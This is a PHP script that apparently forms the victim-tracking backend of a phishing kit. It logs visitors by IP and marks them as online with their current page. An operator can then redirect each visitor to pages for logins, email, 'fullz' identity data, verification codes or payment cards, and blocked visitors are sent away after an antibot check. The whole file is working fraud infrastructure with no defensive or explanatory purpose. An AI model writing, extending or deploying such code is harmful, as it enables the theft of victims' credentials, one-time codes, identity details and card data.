<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/antibot.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/admin/config.php');

header('Content-Type: application/json');

$ip = getIpAddress();
$logs_file = __DIR__ . '/files/logs/all_logs.json';
$response = ['redirect' => null];
$current_page = $_GET['current_page'] ?? '';

if (file_exists($logs_file)) {
    $json_data = json_decode(file_get_contents($logs_file), true);
    $logs_data = &$json_data['all_logs'];
    $redirect_url = $config['ANTIBOT_SETTINGS']['redirect_url'];
    require_once($_SERVER['DOCUMENT_ROOT'].'/admin/pages.php');
    foreach ($logs_data as $key => $entry) {
        if ($entry['ip'] === $ip) {
            if (strtolower($entry['Status']) === 'blocked') {
                blockIp($ip);
                $response['redirect'] = $redirect_url;
                break;
            }
            
            $logs_data[$key]['Status'] = 'Online';
            $logs_data[$key]['current_page'] = $current_page;
            
            if (isset($entry['redirect']) && $entry['redirect']) {
                switch ($entry['redirect']) {
                    case 'login':
                        $response['redirect'] = $login_page;
                        break;
                    case 'email':
                        $response['redirect'] = $email_page;
                        break;
                    case 'fullz':
                        $response['redirect'] = $fullz_page;
                        break;
                    case 'code':
                        $response['redirect'] = $code_page;
                        break;
                    case 'card':
                        $response['redirect'] = $card_page;
                        break;
                }
                $logs_data[$key]['redirect'] = '';
            }
            
            $json_data = [
                'vistors' => $json_data['vistors'] ?? 0,
                'all_logs' => $logs_data
            ];
            file_put_contents($logs_file, json_encode($json_data, JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES));
            break;
        }
    }
}

echo json_encode($response); 